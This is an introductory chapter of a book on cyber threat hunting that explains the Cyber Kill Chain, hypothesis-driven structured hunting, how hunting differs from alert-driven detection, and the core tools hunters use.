This chapter covers
- The stages of the Cyber Kill Chain
- How threat hunters uncover cyber threats
- Threat hunting versus threat farming
- The hypothesis-driven approach of the threat- hunting process
- The characteristics of successful threat hunting
- The core tools that threat hunters use
The chapter introduces the Cyber Kill Chain, provides an overview of the cybersecurity threat landscape, and shows how threat hunting tackles complex cybersecurity challenges. We will discuss the thought process behind threat hunting, laying down the fundamental concepts of a successful practice. The chapter also highlights the differences and similarities between threat hunting and threat detection and ends with an overview of threat hunters’ core tools. We’ll start with an overview of the cybersecurity threat landscape and see why threat hunting is essential.
Definition
1.1 Cybersecurity threat landscape
Today’s cyber threat landscape is complex, evolving, and diverse. Threat actors ranging from organized cybercriminals to state-sponsored groups actively improve their existing attack techniques and tools and create new ones to move through the Cyber Kill Chain.
Figure 1.1 shows the Cyber Kill Chain, developed by Lockheed Martin (https://mng.bz/KD5X). It describes the set of stages that adversaries typically go through to achieve their final objective(s). The Cyber Kill Chain consists of seven stages:
- Reconnaissance—The attacker assesses the situation to identify potential attack targets and tactics. An attacker might harvest social media accounts or perform an active vulnerability scan on publicly accessible applications.
- Weaponization—The attacker develops the code to exploit vulnerabilities or weaknesses that the reconnaissance stage uncovered. An attacker might prepare a phishing email, SQL injection code, or malware code.
- Delivery—The attacker uses the delivery vectors to send the weaponized payload. An attacker might use email to deliver malware code.
- Exploitation—The attacker executes the code they created in the weaponization stage.
- Installation—The attacker creates a channel that allows them to reach the compromised system.
- Command and control—The attacker establishes a command-and-control (C2) channel with an external server. An attacker might use the X platform as a covert C2 channel to communicate with compromised systems.
- Actions on objective—The attacker fulfills the objective(s) of the attack. A ransomware attacker might encrypt files on the endpoint, for example.
Figure 1.1 Lockheed Martin Cyber Kill Chain
A popular meme in cybersecurity, credited to Dmitri Alperovitch, states, “There are only two types of companies: those that know they’ve been compromised and those that don’t know.” Threat hunting allows organizations to take a proactive approach in which they assume that they have been hacked and can uncover evidence.
1.2 Why hunt?
There is no perfect cybercrime. Adversaries leave clues and a trail of evidence when they execute one or more of the stages in the Cyber Kill Chain. As a result, advanced adversaries have shifted from noisy attacks that trigger security alarms to stealthy ones that leave a small footprint and trigger minimal alerts (if any), going unnoticed by automated detection tools. According to a report published by SANS Institute, “the evolution of threats such as file-less malware, ransomware, zero days, and advanced malware, combined with security tools getting bypassed, poses an extensional risk to enterprises” (https://threatpost.com/2021-attacker-dwell-time-trends-and-best-defenses/166116/).
The increased sophistication of threat actors in covert operations and their ability to launch attacks with minimal detection drive organizations to think beyond standard detection tools. The change in adversary behavior requires defenders to establish proactive capabilities such as threat hunting and deploy advanced analytics using statistics and machine learning. Hunters can search regularly for potential data exfiltration activities through the Domain Name System (DNS) by applying volume-based statistical analytics; they don’t have to wait for or rely on network security tools such as intrusion detection systems (IDSes) to generate security alerts.
Organizations rely on threat hunters to uncover threats during threat-hunting expeditions, resulting in reduced dwell time and increased resilience. Dwell time is the time between an attacker’s initial penetration of an environment (first successful execution) and the point at which the organization discovers the attack (threat detection). In addition to reducing dwell time, running threat-hunting expeditions introduces other security benefits, such as the following:
- Identifying gaps in security prevention and detection capabilities
- Tuning existing security monitoring use cases
- Identifying new security monitoring use cases
- Identifying vulnerabilities that assessment activities did not uncover
- Identifying misconfiguration in systems and applications that might affect security, operation, and compliance
To realize these benefits, organizations need to establish and operate a robust threat-hunting process that clearly describes the inputs and outputs of threat-hunting expeditions. This book helps you establish a robust threat-hunting program through practical examples and templates.
1.3 Structuring threat hunting
Threat hunting takes a hypothesis-driven investigation approach. A hypothesis is a proposition that is consistent with known data but has been neither verified nor shown to be false. A good hypothesis should be relevant to the organization’s environment and testable in terms of the availability of data and tools. A hypothesis-based approach is referred to as structured threat hunting.
Conversely, unstructured threat hunting refers to activities in which hunters analyze the data at their disposal for anomalies without a predefined hypothesis. A hunter might process and visualize data to look for unexpected changes in patterns, such as unusual spikes or dips. Finding such changes can lead the hunter to investigate further and uncover undetected threats. This book focuses on structured threat hunting, but I don’t discourage you from exploring data without having a formal hypothesis from time to time. Following is an example threat-hunting hypothesis:
An adversary has gained access to one or more of the organization’s Microsoft Windows endpoints. PowerShell is one of the tools that the adversary used to perform unauthorized activities.
1.3.1 Coming up with a hypothesis
The threat landscape associated with the environment you’re trying to protect should drive the hypothesis you create and execute. Different sources on threats and their relevance to the environment can help hunters understand the threat landscape and translate this understanding to hypotheses. Following are examples of these sources:
- Internal and external threat intelligence sources
- The results of threat modeling exercises
- The results of red-team exercises
- Reviews of existing threat standards and frameworks
- Analysis of previous or current security incidents
1.3.2 Testing the hypothesis
The threat hunter’s job is to test the hypothesis using the best resources at their disposal. Testing the hypothesis can start with defining a manageable list of activities to search for the first set of evidence or indicators concerning the hypothesis or guide the hunters to subsequent searches. Hunting for suspicious PowerShell activities, for example, could reveal the existence of the compromise, proving the hypothesis introduced in section 1.3. The successful execution of the following activities may uncover evidence of compromise:
- Suspicious encoded PowerShell command
- Suspicious execution of unsigned PowerShell scripts without warning
- Process with suspicious PowerShell arguments
- Suspicious PowerShell parent process
This book gives you the opportunity to use different techniques to uncover threat scenarios, including ones involving PowerShell activities. When you conduct a hunt, one of three outcomes is possible:
- Hypothesis proved—The analysis of the data collected during the hunting expedition confirms the correctness of the hypothesis. In this case, the hunting expedition uncovered a security incident.
- Hypothesis disproved—The analysis of the data collected during the hunting expedition confirms the incorrectness of the hypothesis. In this case, the hunting expedition did not uncover a security incident.
- Inconclusive—There is insufficient information to prove or disprove the hypothesis. This outcome could occur for various reasons, such as insufficient data, inappropriate tools, or scope limitations.
warning
Failure to prove a hypothesis doesn’t necessarily mean that the threat doesn’t exist. It means that the hunter couldn’t uncover the threat with the skill set, data, and tools available to them.
1.3.3 Executing the threat hunt
- Initial suspicious activities—The number of initial use cases to execute in a search for the first set of clues.
- Data—The amount of data to search, the complexity of the search, and the tools’ performance. Running a search against 1 TB of data in hot storage (disks with high I/O operations per second) would be much faster than running the same search on data in cold storage (disks with low I/O operations per second).
- Threat complexity—Sophisticated attacks associated with advanced persistent threats (APTs), which might take weeks or months to investigate thoroughly. This is not to say that the hunt will last months—only that the hunt would take longer than average.
- Access to data and systems—Inability to gain timely access to systems or data in the middle of a hunting expedition, which can prolong the hunt. Not giving the hunter timely access to the network flows maintained by a different team, for example, would waste time, forcing the hunter to wait, find more expensive and less reliable options, or end with an inconclusive outcome.
This book focuses on structured threat hunting, in which the threat hunter works with other security team members to define and prove a hypothesis, targeting adversaries’ tactics, techniques, and procedures (TTPs).
Definition:
Structured threat hunting refers to using a clear set of steps to trigger, design, execute, and report a threat-hunting expedition.
The organization’s threat-hunting maturity level should improve over time because hunters learn many lessons from running hunting expeditions. This book provides practical lessons on planning, building, and operating an effective threat-hunting program.
1.4 Threat hunting vs. threat detecting
Detection is tool-driven, whereas hunting is human-driven. In hunting, the hunter takes center stage, whereas tools play the main role in detection. Threat hunting relies heavily on the experience of the threat hunter to define the hypothesis, look for evidence in a vast amount of data, and continuously pivot in search of compromise. Threat hunting does not replace threat detection technologies, which are complementary.
Threat detection refers to the reactive approach in which security operations center (SOC) analysts respond to security alerts generated by tools. SOC analysts would triage and investigate a security event generated by an endpoint detection and response (EDR) tool or a security alert generated by a security information and event management (SIEM) system.
SOC analysts attend to security alerts detected and reported by security tools and perform triage and investigation of security incidents. Figure 1.2 shows the threat detection process at a high level, with SOC analysts primarily performing cyber threat farming. Like agricultural farmers, SOC analysts generally wait for alerts (ripe crops) to show up on a dashboard to triage and respond to (harvest and process).
Hunting, on the other hand, takes a proactive approach. Hunters take the lead by going out in the field to conduct expeditions, equipped with the right mindset, experience, situational awareness, and tools. Section 1.6 discusses a high-level threat-hunting process.
Figure 1.2 High-level threat detection process
Detection is an essential SOC service. Addressing deficiencies in the security monitoring service should be a top priority while establishing or outsourcing a threat-hunting capability. Organizations should not consider establishing a threat-hunting program to offload the work from the security monitoring team to threat hunters.
Detection and hunting should work together to deliver better coverage of the cyber threat landscape. Detection and hunting interact and sometimes overlap. There will always be cases in which detection is an input to a threat hunt, and vice versa. A threat hunter might build a hypothesis that considers a widespread system compromise based on a few suspicious activities detected on one or more endpoints and observed by the security monitoring team.
Detection and hunting can use the same or different analytic techniques to detect or hunt for malicious activities. User-behavior analytic tools, for example, deploy statistical analysis and machine learning to detect and report anomalous user behavior to the security monitoring team. Hunters can use similar techniques in cyber threat hunting. Although hunters don’t lead the development of machine learning models, they must understand the capabilities and limitations of various analytic techniques.
NOTE
Chapter 2 discusses why and how threat hunting and threat detection work together. The chapter presents a detailed process that integrates the threat-hunting practice with the rest of the security functions, including threat detection. In the process, I cover the preparation, execution, and communication phases of a threat-hunting play.
1.5 The background of a threat hunter
A threat hunter is a cybersecurity specialist who proactively and interactively seeks to uncover attacks or threats that evaded detection technologies deployed in the network. Successful threat hunters are curious, prepared to tackle new challenges, and equipped with a good understanding of their hunting field.
As a threat hunter, you will face challenges such as unavailability of data, slow searches, improper event parsing, old technologies, and incomplete or no access to systems. You should discuss these challenges during and after a hunting expedition. Some challenges may be addressed in a reasonable time; others might not get addressed for a long time or at all, especially ones that involve financial investments. These challenges should not prevent you from finding new ways to enhance the effectiveness of the threat hunts by looking at other data and systems and tuning the techniques you deploy.
Hunters are resourceful. An offensive mindset gives hunters an advantage in creating effective threat-hunting plays and executing threat-hunting expeditions.
Not being able to prove the hypothesis during a hunting expedition should not discourage a hunter. This outcome is common and can have various causes, such as the following:
- The attack or the threat described in the hypothesis doesn’t exist.
- The hunter may not have full context about the environment. Running a threat hunt against a newly deployed set of systems and applications, for example, might be challenging.
- The hunter may not have the skill set required to uncover sophisticated attacks against unfamiliar technologies. A hunter running a threat-hunting expedition against a private Kubernetes environment might be unfamiliar with containerized deployments, for example.
- The hunter may lack the data they need to perform a better investigation.
- The hunter might be using inappropriate techniques to uncover sophisticated attacks. Running basic searches to uncover APTs would not be effective, for example.
As a threat hunter, you can’t be expected to know everything. Successful threat hunters spend ample time researching and trying new TTPs. Cybersecurity is a dynamic landscape, and having valuable research time enhances a hunter’s chances of uncovering advanced TTPs.
NOTE
Chapter 2 provides more details about threat hunters’ roles and responsibilities. In addition, chapter 13 describes how to empower threat hunters.
1.6 The threat-hunting process
Defining a process helps threat hunters establish, conduct, and continuously improve the overall threat-hunting practice and individual threat-hunting plays, increasing the probability of uncovering threats over time. The process not only helps improve the quality of threat hunts but also incorporates other values that threat hunting introduces to the organization, such as updating existing or developing new detection and threat intelligence content.
Figure 1.3 shows a high-level threat-hunting process, starting with formalizing a hypothesis and then trying to prove the hypothesis. If the hunter can’t prove the hypothesis, they try to improve it by updating the details of the hypothesis and searching for the threat again. If the hypothesis is proved, the threat has been uncovered. The hunter doesn’t stop there, however; they expand the scope and search for indicators on other systems to understand the attack’s magnitude and spread. Then the hunter would engage the incident response team and share new content that would help the security monitoring and threat intelligence teams.
Figure 1.3 High-level threat-hunting process
Following are the steps of the threat-hunting process:
1. Formulate a hypothesis. Define the hypothesis based on inputs collected from sources and activities such as threat modeling outcomes, TTPs received from internal and external threat intelligence providers, or searches for tactics and techniques described in standard frameworks such as MITRE ATT&CK. An organization’s threat intelligence team might track adversary groups such as APT39 (https://mng.bz/znr1), which targets Western European governments, foreign policy groups, and similar organizations. The hunter can formulate hypotheses based on relevant tactics and techniques deployed by the group.
a. What activities do I need to look for to prove the hypothesis?
b. What data do I need to access?
c. How big is the data that I need to access?
d. How much time will the searches take, and how can I (with the help of platform specialists) optimize the searches?
e. What tools should I use?
2. Look for proof of the hypothesis in the environment. Search for indicators and evidence that can prove the hypothesis.
3. If the hypothesis is not proved, optimize and go back. Optimize the threat-hunting play by increasing the scope of the hunt, requesting further access to systems data, updating the search activities, or updating the hypothesis itself.
a. Pivot and expand the scope. Research the extent of the security incident by expanding the scope of the hunt.
b. Improve existing or develop new detection and threat intelligence content. Recommend new security monitoring detection rules and update the threat intelligence content by sharing indicators or TTPs.
c. Engage the incident-response team. Raise a ticket and assign it to the team that handles the incident response. Depending on the complexity of the incident, also provide support to the incident-response team.
Note
Although structured hunting involves following an initial lead or clue, hunters should expect many pivots and side quests.
1.7 Overview of technologies and tools
Although threat hunting is humancentric, having access to relevant, reliable technologies and scalable, flexible tools is critical to the success of the threat hunter. Events and activities can be collected from endpoints and network elements and then forwarded to data stores to be accessed and searched. Alternatively, the hunter might need direct access to artifacts and events from data sources to perform search and investigation activities. Hunters should have the following core technologies and tools in their toolkit:
- Endpoint activities on servers and clients—Access to process executions, network ports, registry details (in Windows), and system access events is a standard requirement for most hunts. The osquery tool (https://osquery.io) gives threat hunters access to various endpoint telemetry data. It allows the hunter to write SQL queries to explore operating system data. Some open source and commercial EDR tools have similar capabilities.
- Data stores—Places that provide long-term event storage and searches. It’s common to send events collected from different sources in the network to a data store, such as Splunk or Elasticsearch, that is available to the security monitoring team and threat hunters.
- Analytics—Facilitates scalable searches with tools such as Splunk or Elasticsearch and advanced functions (including statistics and machine learning) on platforms such as Apache Spark.
Depending on the environment and the scope of the hunt, the hunter’s toolkit might contain other tools. A hunter might use Yet Another Recursive Acronym (YARA) rules to research and capture suspicious activities on endpoints or push Snort rules to network security tools, such as intrusion detection platforms to capture network activities of interest.
This book describes open source and commercial tools that threat hunters use and shows how to use those tools to conduct threat hunts. In addition, it includes an appendix that describes how to set up some of the tools used in the book.
Summary
- The Cyber Kill Chain consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objective.
- Given the increased sophistication of threat actors, we should be proactive in our approach to cybersecurity.
- Structured threat hunting is a hypothesis-driven practice that proactively tries to uncover threats that were not detected or threats that have been detected but dismissed or undermined by humans.
- Threat detection is a reactive approach to cybersecurity; threat hunting is a proactive approach.
- Understanding the mindset of a threat hunter and the threat-hunting process is crucial to becoming a successful threat hunter.
- The threat-hunting process includes developing and then attempting to prove a hypothesis. If the hypothesis can’t be proved, the threat hunter adjusts it and searches for the threat again. If the hypothesis is proved, the threat hunter takes action against the threat and extends their search into other systems and processes.
- Threat hunting requires skills and tools in endpoint activities on servers and clients, data stores, and analytics.